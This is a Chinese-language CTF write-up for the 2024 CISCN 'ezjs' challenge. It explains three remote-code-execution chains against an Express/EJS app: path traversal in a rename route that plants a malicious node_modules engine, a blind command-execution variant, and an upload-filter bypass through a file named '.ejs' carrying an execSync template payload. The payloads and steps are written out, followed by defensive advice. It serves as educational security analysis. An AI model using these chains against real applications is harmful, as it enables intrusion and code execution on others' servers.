对ejs引擎漏洞及函数特性的利用
字数 1666 2025-08-24 16:48:16
EJS引擎漏洞及函数特性利用分析
1. 漏洞背景
本文以2024 CISCN决赛ezjs题目为例,分析EJS模板引擎的多个漏洞利用方式。题目基于Node.js的Express框架,使用EJS作为模板引擎,存在多处安全漏洞可被利用实现远程代码执行(RCE)。
2. 题目架构分析
2.1 主要模块
- Express框架
- EJS模板引擎
- express-session会话管理
- multer文件上传处理
- fs文件系统操作
2.2 关键路由功能
- 登录路由(
/login) - 文件上传路由(
/upload) - 文件渲染路由(
/render) - 文件重命名路由(
/rename)
3. 漏洞点分析
3.1 漏洞点1: EJS自定义引擎加载机制
在/render路由中,存在以下关键代码:
res.render(filePath);
EJS的渲染机制会:
- 根据文件扩展名查找对应的模板引擎
- 如果扩展名对应的模块存在,会尝试加载该模块
- 模块需要导出
__express函数作为渲染引擎
3.2 漏洞点2: 文件上传过滤不严
multer配置中:
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true);
}
使用path.extname()过滤.ejs文件,但存在绕过方式。
3.3 漏洞点3: 文件重命名路径穿越
/rename路由允许重命名文件,存在路径穿越可能:
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
4. 漏洞利用方法
4.1 方法一: 自定义模板引擎RCE
利用步骤:
- 上传恶意文件
1.aaa,内容为:
exports.__express = function() {
console.log(require('child_process').execSync("dir").toString());
}
- 通过
/rename路由进行路径穿越,创建恶意模块:
/rename?oldPath=1.aaa&newPath=../node_modules/aaa/index.js
-
再次上传
1.aaa文件(原文件已被移动) -
访问渲染路由触发RCE:
/render?filename=1.aaa
原理:
- EJS会根据文件扩展名
.aaa尝试加载aaa模块 - 通过路径穿越,我们创建了恶意
aaa模块 - 模块的
__express函数被执行,实现命令执行
4.2 方法二: 无回显RCE
利用步骤:
- 创建恶意模块
index.js:
require('child_process').execSync("whoami > output.txt");
-
通过
/rename路由放置到node_modules目录 -
访问
/render?filename=1.aaa触发命令执行 -
查看
output.txt获取命令执行结果
4.3 方法三: 绕过EJS文件上传限制
利用步骤:
-
上传文件名为
.ejs的文件(注意不是x.ejs)path.extname(".ejs")返回空字符串,绕过检查
-
文件内容包含恶意EJS模板:
<%= process.mainModule.require('child_process').execSync('calc') %>
- 访问渲染路由时,使用特殊文件名绕过:
/render?filename=\\.ejs
原理:
path.extname()对没有点或点开头的文件名返回空- 使用反斜杠
\分隔路径和文件名,确保正确解析
5. 关键函数分析
5.1 path.extname()行为
path.extname("x.ejs")→.ejspath.extname(".ejs")→""(空字符串)path.extname("x.")→"."path.extname("x")→""
5.2 EJS View类处理流程
- 获取文件扩展名:
this.ext = extname(name) - 如果扩展名为空,默认使用
.ejs - 尝试加载对应扩展名的模块:
require(mod) - 调用模块的
__express方法进行渲染
5.3 require机制
- Node.js的
require会执行目标模块的代码 - 模块可以通过
exports或module.exports导出功能 - 这是RCE能够实现的关键点
6. 防御建议
- 严格限制文件上传类型,使用白名单机制
- 禁用动态require,固定模板引擎
- 对用户提供的文件名进行严格校验,防止路径穿越
- 使用chroot或容器隔离文件系统访问
- 禁用危险函数如
child_process.execSync
7. 总结
通过分析EJS模板引擎的加载机制和Node.js的模块系统,我们发现了三种不同的RCE利用方式。这些漏洞的核心在于:
- 动态加载用户控制的模板引擎
- 文件扩展名处理不一致
- 路径处理不当导致目录穿越
理解这些漏洞原理对于开发安全的Node.js应用至关重要。